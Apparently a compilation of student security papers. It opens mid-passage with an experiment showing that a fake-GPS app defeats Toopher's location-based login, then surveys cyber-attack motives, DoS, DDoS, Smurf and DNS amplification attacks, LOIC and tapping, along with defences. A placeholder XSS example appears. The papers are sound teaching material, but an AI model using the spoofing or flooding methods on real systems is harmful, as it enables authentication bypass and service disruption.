is trivial and there are many free apps available to utilize such as 

“Fake gps - fake location” available for free on the Google Play 

Store. 

https://play.google.com/store/apps/details?id=com.fakegps.mock 

 

 

Figure 12: Screenshot of Authentication Failure in Toopher 

Location Authentication Location Demo Website 

The attempt to login thereafter required the approval on the 

Toopher app once again. The Toopher App had believed the 

spoofed GPS location and had falsely detected that the mobile 

device was out of the authenticated area. This is seen in Figure 12. 

The GPS on the mobile device was put back to normal and was 

then moved to another location reasonably far enough from the 

NUS Computing Faculty. The new location is now at the NUS 

Science Faculty. 

Upon arriving at the NUS Science Faculty, the Login in procedure 

was executed again. The prompt on the Toopher App popped up 

requesting for approval for the log in. Toopher had correctly 

determined that the mobile device is out of the authenticated 

range. 

The GPS location of the mobile device was then spoofed to be at 

the NUS Computing Faculty. The Login in procedure was 

executed once again. Toopher unfortunately automatically 

approved all login requests when it should not have. The mobile 

device was not in the authenticated area which was the NUS 

Computing Faculty! 

This clearly shows that the Toopher App relies heavily on the 

GPS mechanism of the device it resides on. When the GPS was 

spoofed, the Toopher App believed the spoofed GPS location. 

The conclusion from this experiment goes without saying. Should 

the device be compromised, the authentication system will no 

longer be secure. A Two-factor (password, location) 

authentication ultimately becomes a One-factor authentication. 

A proposal would be to implement a secure dedicated location 

detection device. These devices would be similar to that of online 

banking dongles that produce OTP but instead, calculates its GPS 

coordinates and send it up to the server for authentication when 

necessary. 

7. PROPOSAL 
The security of a system depends on how secure the implemented 

security system is. As seen in the experiment on the location 

based authentication, a two-factor (password-location) 

authentication could simply turn into a single factor 

authentication when the location authentication was 

compromised. Therefore, this proposal serve as a guide to people 

who wants to implement multi-factor authentication in their 

system. Sections included password, tokens or one time password, 

biometric and location based authentication. 

7.1 Passwords 
User input needs to be sanitized before parsing the input into the 

system. This is to prevent cross-site scripting such as <script> … 

xss-code-here … </script> and SQL injections. It can be done 

through validating the data in a form field and compare each 

character submitted against a list of allowed and not allowed 

characters, also known as whitelist or blacklist sanitization. 

7.2 Tokens/OTP 
System needs to create token or one time password for user to use. 

This should happen when the system needs to authenticate 

whether is it the rightful owner that is logging into the system and 

is he doing his allowed actions. However, after implementing this, 

it will reduce user acceptability as tokens and one time password 

are a hassle to user. Imagine yourself having to get a new 

password every time you make a login or transaction, it will be 

time consuming for the sake of added security feature. Therefore, 

it needs to be balanced out in a system as too much security could 

ruin user acceptability. 

7.3 Biometric 
On an episode of MythBuster, they had proved a myth that seems 

plausible that fingerprinting technology can be busted[20]. They 

used ballistic gel printing to print a user fingerprint and the 

security fingerprint system actually allow access just by scanning 

the ballistic fingerprint gel. However, this attack could be 

prevented if the security fingerprint system adds an extra feature 

that checks for a real finger being scanned and not other items. 

Similarly, to prevent spoofing on Voice Recognition, the Voice 

Recognition System should require the user to say random phrases 

that are not repeated. With this extra feature, authentication with a 

previously recorded voice will not be possible as the phrases said 
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are never the same. To prevent spoofing on Facial Authentication, 

the Facial Authenticator System should detect blinks of the user's 

eyes. With this extra feature, authentication with a photo of the 

person would not be possible as the eyes of the person in the 

photo do not blink[6].   

7.4 Location Based Authentication 

The location coordinates or information received from the client 

for authentication could be first verified that it is legitimate. There 

are various ways that the location information can be checked if it 

has been spoofed. One such way is to employ two or more 

different techniques to obtain the device’s location. Another 

method could be to use the device’s IP address. However, the 

device would be required to be connected to an internet 

connection. Still, these various methods to validate the location 

coordinates can suffer from further attacks which will compromise 

authentication. 

New upcoming technologies such as XimLoc could be 

considered. It claims that its location service that it will provide is 

un-spoofable by the end user[21]. It has to be supported by the 

local Telco unfortunately and thus maybe not the most immediate 

solution for a company. 

Thus, it is recommended that a dedicated or proprietary location 

based authentication device should be adopted. Similar to that of 

bank security tokens, the location based authentication device will 

calculate its current location by secure ways. The build of the 

device should be secure and ultimately cause damage to the 

device if tampered with. Due to the limited interfaces the device 

will bear, it will be far less likely that end-users can spoof the 

location of the device as compared when using a smartphone. It 

will be just as inconvenient as bank security tokens as the device 

has to be carried around for authentication. However, unlike bank 

security tokens, when authentication is in process, the end-user 

does not require to pull out the device to perform any form of 

action. 

 

8.  CONCLUSION 

In today’s society, One Factor Authentication is no longer safe 

and it can lead to unnecessary risk in computer systems. As such, 

Two Factor Authentication would be the recommended minimum 

level of access control.  

Also, we have seen the introduction of a relatively new factor 

using location for authentication in this paper. However, it has 

been proven by a simple and inexpensive mean that such a factor 

can be broken. It is now prominent that when introducing a factor 

in Multi-Factor Authentication, it must be considered very 

carefully and analysed thoroughly to determine if it contains any 

security loopholes.  

The introduction of more or new factors into the security can lead 

to a more secure system. Unfortunately, it can also lead to a less 

secure system than it originally was as seen in the experiment. The 

overall security is thus depended on how secure the 

implementations of these factors are. A weak link in any of the 

implementation of the utilized factors may just compromise the 

system. 
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ABSTRACT 

In this paper, we introduce cyber-attacks from a historic 
perspective and some of the reasons people resort to such actions. 
We then discuss some forms of attacks beginning with Denial of 
Service attacks and some open source tools which are widely 
available. We then end off by showing the societal impacts of 
such attacks and discuss how various governments have stepped 
up on cybercrime vigilance. 

 

Categories and Subject Descriptors 

D.4.6 [Security and Protection]: Invasive software;  
K.4.2 [Social Issues]: Abuse and crime involving computers;  
K.4.6 [Security and Protection]: Unauthorized access; 

 

General Terms 

Documentation, Performance, Reliability, Experimentation, 
Security, Human Factors, Theory, Legal Aspects. 
 

Keywords 

Denial of Service (DOS), Distributed Denial of Service (DDOS), 
Trojan, Malware, Attacks. 
 

1.   INTRODUCTION 
 

1.1     History of Attacks 
 

Attacks, with respect to a computer or computer system, refer to 

operations which by means, has aims to disrupt, deny, destroy 
information that are resident in computers or the computer 
systems themselves. More commonly known as cyber-attacks 
by many, these attackers use malicious code to alter computer 
code, logic or data, resulting in disruptive consequences that can 
compromise data and lead to cybercrimes, such as information 
and identity theft. Cyber-attacks may lead to the following 

consequences: 

 

1. Denial-of-service and distributed denial-of-service attacks 
2. System infiltration 

3. Private and public Web browser exploits 
4. Intellectual property (IP) theft or unauthorized access 
5. Malware, pharming, phishing, spamming, spoofing, 

spyware, Trojans and viruses 
6. System infiltration 
7. Website defacement 
8. Breach of access 
9. Password sniffing 
10. Identity theft, fraud, extortion 

 

The first and well-known attack on the Internet dates back to 1988, 

by a computer scientist named Robert Tappan Morris[9]
. A 

graduate student in Computer Science at Cornell, he wrote an    
experimental, self-replicating, self- propagating program called a 
worm and injected it into the Internet. He chose to release it from 
MIT, to disguise the fact that the worm came from Cornell. His 
original intent was to use the worm to gauge the size of the 
internet. However, a bug in the worm itself caused it to infect 

systems throughout the Internet at a faster pace than Morris 
originally expected, and his worm ended up infecting an estimated 
10 percent of the Internet.  Basically, the worm’s job was to just 
travel from computer to computer, recording statistics of the 
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number of computers currently connected to the Internet. The 
problem lies in that in order to actually bypass security and get 
into a computer, the worm has to manifest itself on the particular 
computer. The program would enter the computer, ask if a copy 
was already running, then leave and move on. Morris assumed that 

since someone could falsely answer "Yes" and drive the worm 
away, he would implement a condition that would override the 
"Yes" and send the worm in 1 out of 7 times regardless if the 
answer was yes. This means that that particular computer could be 
infected multiple times even though the worm was already running. 
Apparently, he underestimated this level of replication, as the 
worm spread at an extremely alarming rate, slowing many 
computers down drastically. He subsequently became the first 

person to be convicted under the US' computer fraud and abuse act. 
The Morris worm, also referred to as “The Great Worm” because 
of the devastating effects it had on the Internet: overall system 
downtime, psychological impact on the perception of security and 
reliability of the Internet, is widely regarded by many as a denial 
service of attack. 
 
Over the years, attacks had been made on various targets, ranging 

from government websites like the Defense Research and 

Development Canada in 20111 [5]
, The Prime Minister Office’s 

website in Singapore 2013
[1]

, financial institutions and broadcast 

networks in South Korean in 2013
[27]

, including widely used 

Chinese popular search engine Baidu2 in 2010
[4]

. 

 

1.2      Motivations for Attacks 
 

Reasons for attacks may differ between attackers and statistics (see 
Figure 1) had highlighted the prevalence of cybercrime and 
hacktivism. Cybercrime itself covers a vast range of criminal acts 

from identity theft, the distribution of child sexual abuse images, 
internet auction fraud, the penetration of online financial services, 
as well as the deployment of viruses, Botnets, and various email 

scams such as phishing 
[24]

. Alongside with the term, hacktivism, 

which refers to the act of hacking, or breaking into a computer 

system, for a politically or socially motivated purpose 
[26]

, one can 

classify some of the most common intentions behind computer 
attacks broadly into the following: financially and politically. 

 

                                                             

1 The attack forced the Finance Department and Treasury Board, 
Canada’s main economic agencies, to disconnect from the Internet. 
 

2 Users were redirected to a page showing an Iranian political 
message. The same “Iranian Cyber Army” had hacked into 
Twitter the previous December, with a similar message. 
 

 
 

1.2.1    Financial Motivations 

Financial gain is the motivation behind many of the threats. For 
example, bot networks are used in denial-of-service (DoS) attacks, 
resulting in disrupted communication, loss of revenue, damage to 
brand and reputation, and exposure to criminal extortion schemes.  

Other financially motivated attacks use modular malicious code, 
malware that updates itself or downloads a more aggressive threat 
upon establishing a foothold on the victim host, to expose sensitive 
information.  

Phishing attacks are another means to monetary gain and the 

financial services sector was the most heavily phished, accounting 
for 84 percent of phishing sites tracked by the Symantec Phish 

Report Network and Symantec Brightmail AntiSpam 
[42]

. 

 

1.2.2     Political Motivations 
Online attacks in recent years have become more political in nature; 
at least 33 percent of today’s cyber-attacks were because of political 

reasons 
[36]

. 

When it comes to being politically motivated cyber-attacks, one has 
to mention the term, cyber warfare, which refers to Internet-based 
conflict involving politically motivated attacks on information and 
information systems. Attacks may include disabling official websites 
and networks, disrupting or disabling essential services, stealing or 
altering classified data, and crippling financial systems. According 

to Jeffrey Carr, author of "Inside Cyber Warfare," any country can 
wage cyber war on any other country, irrespective of resources, 
because most military forces are network-centric and connected to 

the Internet, which is not secure 
[34]

. 

 

Some other more common reasons are as follows: 

 Knowledge/Experiment/Ethical – To find vulnerabilities 

of the system and to improve its security 

 Seeking thrill and excitement 

 Publicity stunts – Examples include Universal Pictures 

replacing the dinosaur insignia for the film Lost World 

with a cuddly duck on its Web site in May 1997, and MTV 

"hack" to promote an online fictional character named 

"Johnny Fame," who is set to become MTV Online's 

"roving reporter" during the following night's MTV Music 

Video Awards in September 1998 
[20]

 

Figure 1: Motivations behind attacks (2013) 
[29]
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2.   CYBER ATTACKS 

 

2.1   Active Attacks 

  

2.1.1  Denial of Service Attacks 
Having seen the motives behind attacks, we will now discuss the 
technical aspects and give a few examples of such attacks. A 
denial-of-service (DOS) attack is a malicious attempt to make one 

or more computer systems unavailable to its intended users, 
usually by temporarily interrupting or suspending the services of 
the host connected to the internet. A DOS attack can be carried in 
a number of ways: 

1. Consumption of computational resources, such as 
bandwidth, memory, disk space, or processor time. 

2. Disruption of configuration information, such as routing 
information. 

3. Disruption of state information, such as unsolicited 
resetting of TCP sessions. 

4. Disruption of physical network components. 
5. Obstructing the communication media between the 

intended users and the victim so that they can no longer 
communicate adequately. 

 
With so much modern technology on our hands these days, social 
media plays a huge part of our lives. Given that such social media 

would be working with so many users, it would be normal to 
assume DOS attacks would not be able to work on such servers 
since a server down would affect thousands or even millions of 
users. However, one of the newest social applications Snapchat 
doesn’t seem to be able to guard against such attacks as shown in 

this article 
[28]

. 

 
Interestingly enough, the United States Computer Emergency 
Readiness Team (US-CERT) defines a “dramatic increase in the 
number of spam emails received” as a type of DOS attack. In 

other words an email bomb, which is a form of internet abuse, 
where huge volumes of email is sent to an address to overwhelm 
the server where the email address is hosted. Reminds us of NUS 
webmail? 

 

2.1.2    Distributed Denial of Service Attacks 
Essentially, a Distributed Denial of Service (DDOS) Attack is a 
DOS attack carried out by 2 or more people or by bots. These bots 
can be remotely controlled by the host using a Trojan and are able 

to perform these types of attacks 
[9]

: 

1. Application-layer DDOS attack 
2. Protocol DOS attack 

3. Volume-based DDOS attack 
 

 
Figure 2: DDOS attack on a website (2008) 

 
With DOS attacks, 1 person or machine can only do so much to 

create an impact on any server or system. With DDOS attacks, 
that effect is amplified by the number of bots or machines the host 
can get his/her hands on. What kind of impact can multiple 

machines do? That was recently answered in this article 
[35]

, 

where the attack peaked at 400Gbps in power. This is an example 

of a DNS reflection/amplification attack 
[21]

 where the response 

from the server is typically larger than the request. Coupled with 
spoofed IP addresses, the responses will go to the target instead of 
the attacker. Combining these effects of large responses going 
back to the victim itself, we get the reflected and amplified 
attributes of this attack. 
 

2.1.3     Tools for/against DOS/DDOS 
One open source application that was used by Anonymous for 

their DDOS attacks is Low Orbit Ion Cannon (LOIC) 
[38]

. This 

tool uses TCP or UDP packets to flood a particular host with the 

intention of bringing it down as mentioned earlier. There are other 
similar tools of same nature so we will discuss other tools instead. 
 
The usage of pre-written programs for DOS attacks such as LOIC 
seems to be the norm. Ever wondered if online resources can be 

turned into disruptive tools for DDOS attacks? In this article 
[40]

, 

it seemed that online blogs from Wordpress contain vulnerabilities 
that these hackers have exploited to perform the attack. In the 
above example, the loophole was part of a feature which multiple 
plugins use and cannot be removed or patched easily. 

 
We have seen tools available to mount DDOS attacks, but are 
there tools to counter them? Of course there are! However from 
our research, it seems free tools to guard against DDOS attacks 
are hard to come by whereas commercial products such as those 

from Incapsula 
[22]

 and Rackspace 
[32]

 are readily available for 

companies/organizations via subscription. Of course prevention is 
better than cure, but we wouldn’t need the protection unless we 
have ulterior motives, which would bring the attention of 
hacktivist groups right? 

 
2.2     Passive Attacks 

 
All this time in this report, we have been discussing about Denial 
of Service Attacks which is classified under the “Active” family 
of attacks. We will now move on to discuss some “Passive” 
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attacks 
[43]

 which essentially mean that the attacker listens in on 

the conversation and does not attempt to break into the system or 
otherwise change data. Because these attacks are non-evasive in 
nature, they are harder to detect but proper encryption will foil 
such malicious attempts of attaining private data in the examples 
given below. 

 

2.2.1     Meet-in-the-middle Attack 
One such example is already covered in our syllabus and it’s the 
Meet-in-the-middle attack whereby the attacker is able to obtain 
plain and cipher text pairs. After which, the attacker will compute 
a table by encrypting all the plaintext and another table by 
decrypting the all cipher text with all the keys available. For each 
match in both tables, the attacker would have found a possible 
key. 
 
There are many ways this attack can be carried out, but as seen 

from the syllabus, only systems with a low number of bit key 
encryption are susceptible to such an attack. One way is to use the 
computational power of Graphic Processor Units (GPUs) to 
generate the tables since they have thousands of cores for such 
compute intensive tasks. Most recently, a huge demand for GPUs 

to support the mining of Litecoin 
[15]

, have led to a shortage in 

GPUs available. Previously, such digital currency were mined 
with Central Processing Units (CPUs), but are now being mined 
with GPUs which shows the GPU’s capability of churning out 
computational intensive operations such as a meet-in-the-middle 

attack. 

 

 

2.2.2     Tapping 
Another type of passive attack is called tapping. It can be done 

rather cheaply and easily as seen in the link 
[19]

. As shown during 

one of our tutorials, the program Wireshark is a free and open 
source packet sniffer which operates in a half-duplex 
configuration which is unable to capture all the packets flying 

around the even when in promiscuous mode. However, with 
separate taps we are then able to monitor both inbound and 
outbound data separately and can achieve our objective of 
“listening” in on passwords or whatnot. Of course, with 
Wireshark and other packet sniffers, all these would mean nothing 
if the data was encrypted for example with IPsec. Tapping would 
just enable the attacker knowledge of the transfer of such data but 
not its contents and that’s why attacks are usually multi-layered 

and consists of a few steps to achieve the desired results, whatever 
they may be, malicious or not. 
 

3.     IMPACTS OF ATTACKS 
 

Before proceeding to analyzing how the attacks affect the various 
systems, we first have to understand what the systems will be 
facing. First and foremost, the targeted systems will notice a huge 

increase in network traffic which then leads to either an imminent 
crash or the exhaustion of network resources. Some attacks 
generate traffic at the rate of several gigabits per second, which far 
exceeds the capacity of most Internet sites. The increase will often 
result various services being significantly slowed, frozen, or 

completely disconnected. Attempts to form new connections, or 
reconnect, may not be processed at all. Many websites have been 
completely cut off by DoS attacks for long periods of time that 
leads to significant loss in online businesses. Figure 3.0 below is a 
summary of duration of attacks in the UK in the year 2012. 
 
 

 
Figure 3.0 Duration of DDoS Attacks in The UK in 2012 

(Neustar, 2012) 
[27]

 
 

We are now going to go into greater detail of the financial impact 
of DoS attacks as well as how defense systems are being built to 
be better prepared for the aforementioned attacks. 
 

 

 

3.1    Financial Impact of DoS Attacks 

The financial impact of DoS attacks stretches to several different 
parties; some of which include companies that are trying to decide 
on their information security budget as well as for insurance 
companies that provide cyber-risk policies (Gordon et al., 2003) 
[15]. 
 
As the characteristics of security breaches change, companies 
continually reassess their IS environment for threats (Kelly, 1999) 
[24]. In the past, CIOs have relied on specific determinants such as 

fear, uncertainty and doubt to highlight the importance of IS 
security in hopes to gain more budget for that category. However, 
how much revenue is being fuelled into IS security is also 
determinant on the Risk Assessment as well as the priorities of the 
company. Different companies have different ways to evaluate 
Risk Assessment. As such different companies will evaluate their 
Information Security (IS) budget. 
 

On a larger scale, these DoS attacks also have a possibility to 
demolish entire businesses if their information security is 
inadequate. The reasons behind such severity are: loss of business 
due to unavailability of the breached resources as well as lost 
productivity of the non-IT staff that are forced to work in a 
degraded mode. Even while the IT staff tries to contain and repair 
the breach, public relations consulting costs are incurred to 
prepare statements for the press and answer customer questions 

(Hovav, 2003)[19]. Sometimes the aftermath of the attacks 
continue to burden the company even after the attacks have passed. 
Such examples are the costs of defending the company in any 
liability suit resulting from the breached company’s failure to 
deliver assured information and services as well as loss of 
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business accounts fleeing to a “safer” environment in fear of such 
attacks occurring again (Hovav, 2003) [19]. 
 
Figure 3.1 below showcases that downtimes have a risk of 
affecting between less than 1000 to more than 100, 000 and that it 

affects a wide range of industries including finance, telecoms, 
technology, ecommerce, retail and even the public sector. 
 

 

 
Figure 3.1: Revenue Risk Per Hour of Downtime By Industry 

in the UK (Neustar, 2012)
 [27]

 
 

 

3.2 Impact of Denial of Service Solutions on 

Network Quality of Service 
 
Many kinds of defensive measures have been proposed to thwart 
DoS/DDoS attacks. However many of these defensive techniques 
do not take into account the effects they have on network Quality 
of Service (QoS) delivery. 
 
Firewall is a mechanism that protects the passage of information 
into the system. 

However, Firewall needs a larger amount of processing time as 
compared to routing (Qui, Suri, 2001) [31]. As a result, this 
increases the complexity. Thus the increase in complexity can 
induce congestion and in the end make the system vulnerable to 
DoS attacks (Fowler, Zeadally, Chilamkurti, 2011) [14]. DoS 
attacks slow down or prevent authentic packets from being 
processed from genuine connections. These delays or preventive 
actions reduce the QoS of ongoing traffic connections (Fowler, 

Zeadally, Chilamkurti, 2011) [14]. Therefore, a more sound and 
effective method is required to improve the firewall performance 
concerning QoS traffic flow when attacks and threats are made. 
 
Honeypot is a computer, network site that act a trap set to detect, 
deflect, or counteract attempts at unauthorized use of systems. 
This honeypot acts as a decoy by being placed on a network. 
When it is attacked, the attack is monitored and the network is 

observed on how it is being compromised from an attack 
(Spitzner, 2002) [39]. Honeypots are only able to tackle attacks 
that are directed to them. However, skilled attackers can easily 
avoid honeypots set to trap them on various locations on the 
network. This means that the attackers can degrade QoS with 
little effort by avoiding the positions where the honeypots are set 

(Khattab, Sangpachatanaruk, Mosse, Melhem, Znati, 2004) [25]. 
Therefore, honeypot may not actually help to prevent or catch 
attackers from reducing the QoS of networks and systems. 
 
Network forensics observes the traffic in the network and evaluate 

if there is a problem in the traffic. If there is an issue in the 
network, it has to be identified if it can be an attack. Skilled 
programmers can use self-made sniffers and scripts to design a 
way to identify the denial of service attacks. One method is by 
applying load balancing. With the use of load balancing, internet 
service providers can increase the network bandwidth of QoS 
connections and at the same time prevent QoS from being affected 
by a DDoS attack (Fowler, Zeadally, Chilamkurti, 2011) [14]. 

However, the weakness of such a method is that the QoS will be 
compromised if the attack happens before the maximum 
bandwidth is reached. 
 
Over-provisioning is a brute force defense against DDoS attacks. 
By provisioning a higher level of traffic that you will receive, 
your attacker will face a lower chance of success of overwhelming 
your traffic capacity. The defender needs to prepare for traffic of a 

few folds of what he or she will get in normal situations, to 
preempt an attack (Mohan, 2010) [26]. We should not just prepare 
for the highest anticipated level of traffic we will receive every 
day, because it will be very easy for an attack to match your 
highest traffic. An example (Mohan, 2010) [26] would be that an e-
commerce site has 60,000 visits per day and it prepares itself for 
that highest traffic. However, a DDoS attack can easily send that 
much traffic in a minute. A good defense is to provision for 10 

times the average traffic when building your hardware 
infrastructure. In this way, your hardware will be able to cope and 
handle 10 times the normal amount of traffic (Mohan, 2010) [26].  

 

4.   Conclusion 

4.1 Safeguarding ourselves and our systems 

Cyber-attacks are ever present in the digitalized world that we all 
live in today. The impacts that these attacks brings us are 

limitless, and can affect critical infrastructures of a country, e.g. 
hospitals, military defenses, transportation systems etc. Such 
attacks then cause the CIA (Confidentiality, Integrity, and 
Authenticity) security policy framework to fall through. Defenses 
against these attacks (better known as cyber security) are therefore 
important, and are implemented to counter these attacks, with the 
4Ds in mind – to Deter, Detect, Delay and Deny. Simple defenses 
against cyber-attacks which can be implemented include protocols 

such as firewalls, or anti-virus tools that users install on their 
computers. However, these measures are not fool-proof, as there 
may be multiple pathways around (or through) firewalls and anti-
virus products. Even the most secure organizations cannot 
discount the threat posed by insiders in their companies (current 
or former employees). Organizations and companies should 
therefore implement a defensive architecture of their systems, as 
seen in figure 4 [16]: 
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With both the governments and private organizations becoming 
prime targets of cyber-attacks, governments around the world 
have also increased their vigilance against these attacks - Iran, 
Israel, North Korea, Russia and many other countries are now 
creating and training ‘cyber armies’. [39] In the United States of 
America, on January 2011, US Senators Joseph Lieberman and 
Susan Collins re-introduced a bill — the Cyber security and 
Internet Freedom Act of 2011 — granting President Barack 
Obama the authority to shut down the internet in the country in 
the event of a cyber-attack [45]. The US Department of Commerce 
announced the launch of an office — the National Strategy for 

Trusted Identities in Cyberspace (NSTIC) — to promote online 
trusted identity technologies. The NSTIC aims to promote a 
platform where internet users will receive IDs, thereby increasing 
trust among users [17]. The United Kingdom on the other hand, 
invested on tools to help build up their cyber defense. In October 
2010, the UK government committed to providing GBP650 
million (US$1 billion) to cyber security initiatives. By February 
2011, GBP63 million (US$100 million) had been allocated for 

cyber security [44]. Moving on to Asia, China tightened its 
Guarding State Secrets law in May 2010 [7], by holding internet 
and mobile phone operators responsible for customers who try to 
leak confidential information. It also collaborated with other 
countries on an international platform; in 2003, China signed the 
ASEAN-China Coordination Framework for Network and 
Information Security Emergency Responses and an agreement 
among the governments of the SCO Member States on 

Cooperation in the Field of Ensuring International Information 
Security with the ASEAN and SCO member states, respectively 

[12].  Also, in India, the Indian government set up an institute 
dedicated to training professionals and developing technologies to 
tackle cybercrime.  

 

While examples of the above measures that governments 
undertake do sound very promising, it is worthy to note that 
cyber-attacks still persist even in the present age, and 
governments around the world face challenges tackling 
cybercrimes. For example, it may be difficult to trace the source 
of an attack, especially when these attacks become large scaled 
and are borderless. Coupled with the growth of underground 
cybercrime economies [13] which operate by selling confidential 

stolen intelligence, and has attracted many digital experts and 
talented individuals with a specialty around cyber initiative, 
collaboration between governments is even more crucial now in 
order to fight cross-border cybercrimes. 

 

At the individual level, we can also [16]: 

1. Rigorously conduct system patching 
• Do not let known vulnerabilities persist for extended periods of 
time 
2. Restrict administrative privileges 

• Accounts with these privileges are prime targets for attackers 
• Limit and tightly control accounts with these privileges 
3. Perform and enforce application whitelisting 
• Only allows authorized applications to run 
4. Implement defense in depth 
• Do not rely on one single technology or defensive measure; have 
multiple security controls in case one approach fails 
 

In summary, an effective cyber security program will enhance 
overall security. We should there therefore spend the time and 
resources to implement such systems that provides a level of risk 
we are comfortable and can live with – because you might never 
know when you are the next target of these attacks. 
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ABSTRACT 

This paper provides an overview of the various major denial of 

service attacks in history, the consequences, and how it was dealt 

with. Also, we will explore the significance of both the denial of 

service attacks and its prevention.  

Categories and Subject Descriptors 

C.2.1 [Computer-Communication Network]: Network 

Architecture and Design – Distributed networks 

C.2.4 [Computer-Communication Network]: Distributed 

Systems – Distributed applications 

D.2.12 [Software Engineering]: Interoperability – Distributed 

objects  

K.6.5 [Management of Computing and Information Systems]: 

Security and Protection – Invasive software (e.g., viruses, worms, 

Trojan horses), Unauthorized access (e.g., hacking, phreaking) 

General Terms 

Economics, Security, Human Factors, Legal Aspects. 

1. INTRODUCTION 
In a Denial of Service (DoS) attack, an attacker attempts to 

prevent legitimate users from accessing resources or services. 

Although the means to carry out, motives for, and targets of a 

DoS attack may vary, it generally consists of efforts to 

temporarily or indefinitely interrupt or suspend services of a host 

connected to the Internet. 

Distributed Denial of Service (DDoS) attacks are distinguished 

from DoS attacks in that DDoS attacks are sent by two or more 

persons, while DoS attacks are sent by one person or system. 

Consequently, DDoS attacks are tougher to trace due to the fact 

that sources are dispersed. However, increasingly, the two terms 

have been used interchangeably. In this paper, while we will be 

focusing on DDoS attacks, we will put no distinction between the 

two. 

2. BACKGROUND KNOWLEDGE 
While DDoS attacks are sent by two or more persons, more often 

than not, these people are not aware of the attack. Attackers 

typically use a botnet to launch simultaneous DoS attacks from 

many different bots, which adds up to a DDoS attack.  

A botnet is a network of bots which are connected over the 

Internet. A bot is typically an executable file, capable of 

performing a set of functions, each of which could be triggered by 

a specific command. They are installed on machines after the 

attacker has exploited an application or operating system 

vulnerability or has duped the user into executing a malicious 

program. Once infected, these machines are also referred to as 

Zombies, or Slaves. 

 

Figure 1. A Distributed Denial of Service attack 

The bots usually run hidden, so that the user will not know that 

the machine has been compromised. The attackers will then be 

free to control and direct the bots. 

3. THE BEGINNING 
Everything starts out small, and this is no different for DoS 

attacks. However, we will soon see that the humble beginnings 

will not stand in its way to a rapid growth into something much 

more sinister. 

3.1 ping.c 
DoS attacks used to be rather uncommon occurrences back in the 

late eighties, as performing them required more technical 

knowledge than was then common. 

One of the earliest known attacks was ping floods, which was 

written in C language. The attack simply overwhelms the victim 

with ping requests, to which the victim will have to send ping 

replies to. This takes up a lot of resources, thus it is most 

successful if the attacker has more bandwidth than the victim. If 

the attack succeeds in saturating the victim’s network with the 

ping traffic and consumes enough of the victim’s CPU time, a 

user may notice a significant slowdown. 

This technique is infeasible as an actual attack if it is launched 

from just a single machine because the attacker’s computer would 

also be tied up during the attack, since it has to constantly craft 

and send the ping packets. It is also the reason that it is an 

improbable threat, and that its creation is simply the result of a 

curious individual.  
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3.2 University of Minnesota 
When a computer receives a ping packet, it will respond to the 

request by sending a packet back to the source address. In a Smurf 

attack, packets with the intended victim’s spoofed source Internet 

Protocol (IP) address are used.  

The attacker broadcast the packets to a computer network using 

an IP broadcast address. This is also known as Internet Control 

Message Protocol (ICMP) echo request. As most devices will 

send a reply back to the source IP address by default, the targeted 

victim will be flooded with responses. Depending on the number 

of machines on the network, the victim’s computer can be flooded 

with huge amount of traffic. 

 

Figure 2. A victim under Smurf Attack 

In 1998, the computer networks in University of Minnesota went 

through a Smurf attack which was estimated to have lasted for 1 

hour. It resulted in data loss and slow connections through the 

network. The effects of the Smurf attack created a ripple which 

spread out of the university’s network. MRNet, due to a 

cooperative agreement with the university to share bandwidth 

from their Internet Service Provider (ISP), was also heavily 

affected. Consequently, most of MRNet’s other customers were 

also being implicated. 

It is tough to ascertain exactly when the first DDos was launched. 

The University of Minnesota incident is labelled as the first large 

scale DDoS attack of the 1990s and the culprits were not caught. 

3.3 Project Rivolta 
DoS attacks took a malicious turn in February 2000, when 

Michael Calce, a Canadian juvenile who went by the internet alias 

of MafiaBoy, launched a project named Rivolta, which means 

“riot” in Italian.  

Using a botnet to flood several major commercial websites with 

an overwhelming volume of traffic, he managed to shut down 

Amazon, eBay, and Yahoo for a few hours. Estimated losses to 

Amazon and Yahoo added up to approximately $1.1m. 

Calce’s goal was, according to him, to establish dominance for 

himself and TNT, his cybergroup, in the cyberworld. The teen 

pleaded guilty to nearly 60 charges of mischief, and was 

sentenced to eight months in a youth detention center. 

4. THE EVOLUTION 
While some of the attacks before are characterized by malice and 

have proven themselves to be a source of concern, there has yet to 

be any physical gains associated with the attack. However, in the 

following section, we will see that DoS attacks can also be used 

as a powerful tool by organized crime. 

4.1 Pay Us or DDoS Continues 
In April 2004, a series of DDoS attacks targeted online payment 

processing firm 2Checkout. This resulted in service interruptions, 

such as periodic outages for merchants using its service to process 

credit card payments. The attacks were later attributed to extortion 

schemes in which attackers threatened to knock the firms’ 

websites offline. 

The series of attacks follows a string of attacks on UK-based 

online gambling sites in March. Several online casinos have 

admittedly made payments to the cyber-extortionists. Some who 

have refused to pay, including the Irish bookmaker Paddy Power, 

say their operations were subsequently disrupted by DDoS 

attacks. 

2Checkout was being hosted by Time Warner Telecom when the 

attack commenced, but has since shifted to a dedicated server at 

SBCHost (Ameritech Electronic Commerce) to increase its 

resistance against DoS attacks. 

4.2 Michael Jackson as a DDoS 
Sometimes, DDoS attacks are not a product of evil intents - they 

might not even actually be an attack.  

On 25th June 2009, the day Michael Jackson died, the news 

began to circulate. It was also then that Michael Jackson-related 

searches surged on various major search engines such as Google. 

 

Figure 3. Searches for Michael Jackson on 25th June 2009 on 

Google 

The overwhelming increase in traffic caused Google to suspect a 

DDoS attack, and Google promptly reacted by denying the 

processing of requests related to the topic. This continued for 
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about 25 minutes, until they found out what was going on, and 

that the queries were legitimate and genuine.  

Yahoo’s data backed up Google’s; it set a record for unique 

visitors in a single day with 1.64 million visitors, and its lead 

story on Jackson’s death was the most highly-visited story in 

history. 

4.3 The Dawn of Cyberwarfare 
As we have seen in the earlier examples, DDoS attacks can be 

very effective. However, the amount of resources required to take 

down a large system can be huge and expensive. The attacker 

might not always have a collection of slave machines which he 

can depend on to send large amounts of data. 

4.3.1 DNS Amplification Attack 
Domain Name System (DNS) amplification attack, which is also 

known as DNS reflection attack, takes advantage of the fact that a 

small DNS query to a DNS server can generate a significantly 

larger response. This form of DDoS attack relies on the use of 

publically accessible open DNS servers. As the protocol that DNS 

relies on is User Datagram Protocol (UDP), there is no 

verification that the source IP address belongs to the sender. 

Hence using source address spoofing, the attacker is able to direct 

large volumes of network traffic to a targeted victim by initiating 

relatively small DNS queries.  

 

Figure 4. High level overview of DNS Amplification Attack 

Such attack is difficult to handle as a DNS server is performing 

the direct attack. The chances are high that blocking the involved 

DNS server will affect and damage the operation of a corporate 

network.  

4.3.2 Attacks against Estonia 
In 2007, US-CERT received a report that Estonia was 

experiencing a national DDoS attack. According to the report, 

Estonia’s root level servers were flooded by other DNS servers 

using the DNS Amplification technique. It was a national security 

